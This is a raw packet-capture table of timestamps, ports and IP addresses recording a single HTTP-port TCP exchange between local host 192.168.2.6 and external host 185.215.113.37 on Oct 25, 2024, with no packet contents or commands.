Oct 25, 2024 01:27:13.004017115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004226923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004242897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004256964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004270077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004283905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004283905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004301071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004316092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004316092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004316092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004333973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004347086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004348040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004363060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004365921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004379034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004386902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004404068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004420042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004441977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004585981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004601002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004615068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004628897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004637957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004645109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004651070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004661083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004678011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004684925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004693985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004700899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004709959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004725933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004734039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004740953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004759073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004765034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004777908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004813910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004842043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004858971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004875898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.004880905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004904985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.004924059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.108033895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.108053923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.108069897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.108084917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.108092070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.108100891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.108124018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.108129978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.108129978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.108139992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.108160973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.108194113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147171974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147214890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147250891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147285938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147396088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147420883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147437096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147445917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147461891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147464037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147478104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147485971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147494078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147510052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147516012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147516012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147541046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147546053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147562027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147584915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147604942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147619963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147633076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147640944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147664070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147677898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147758961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147773981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147789001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147794008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147803068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147819042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147824049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147841930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147892952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147902966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147918940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147934914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147953987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147953987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.147970915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.147975922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148015976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148058891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148073912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148088932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148104906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148133039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148169041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148184061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148199081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148214102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148217916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148252964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148274899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148284912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148302078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148339033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148375988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148425102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148441076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148456097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148488045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148504972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148521900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148536921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148550987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148555994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148567915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148578882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148585081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148597956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148618937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148637056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148799896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148824930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148839951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148847103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148881912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148881912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.148912907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148927927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148941994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148957968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.148961067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149003983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149003983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149003983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149348974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149406910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149415970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149430037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149451971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149467945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149471998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149492979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149518967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149534941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149549961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149564028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149570942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149591923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149611950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149619102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149635077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149652958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149663925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149697065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149698019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149785995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149801016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149815083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149830103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149833918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149847031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149852037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149864912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149876118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149882078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149908066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149918079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.149940014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.149966002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150063992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150079966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150094986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150099993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150110960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150125980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150141001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150147915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150147915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150147915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150156975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150172949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150180101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150180101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150188923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150204897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150204897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150229931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150229931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150249004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150307894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150321960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150336027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150352955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150381088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150453091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150466919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150480986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150496960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150501013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150511980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150525093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150527954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150544882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150552034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150572062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150576115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150598049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150616884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150789022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150804996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150818110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150834084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150839090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150849104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150861979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150866032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150882006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150882959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150898933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150914907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150918007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150933027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150938988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150949955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150959969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150966883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150981903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.150991917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.150998116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151016951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151021004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151032925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151037931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151063919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151081085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151295900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151319027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151339054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151355028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151359081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151375055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151381969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151386976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151402950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151406050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151427031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151443005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151458025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151468039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151468039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151468039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151473045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151489973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151500940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151505947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151521921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151527882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151539087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151554108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151563883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151568890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151586056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151592016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151601076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151617050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151622057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151631117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151648045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151643991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151664972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151670933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151679993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151693106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151694059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151710033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151720047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151726007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151741028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151741982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151757956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151773930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.151783943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151801109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.151827097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152168036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152182102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152196884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152210951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152218103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152226925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152235985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152242899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152257919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152260065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152276039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152285099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152292967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152307987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152316093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152326107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152333021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152354956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152363062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152369976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152385950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152395964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152395964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152400970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152415991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152422905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152431011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152445078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152446032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152461052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152466059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152476072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152491093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152498960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152506113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152522087 CEST	80	49711	185.215.113.37	192.168.2.6
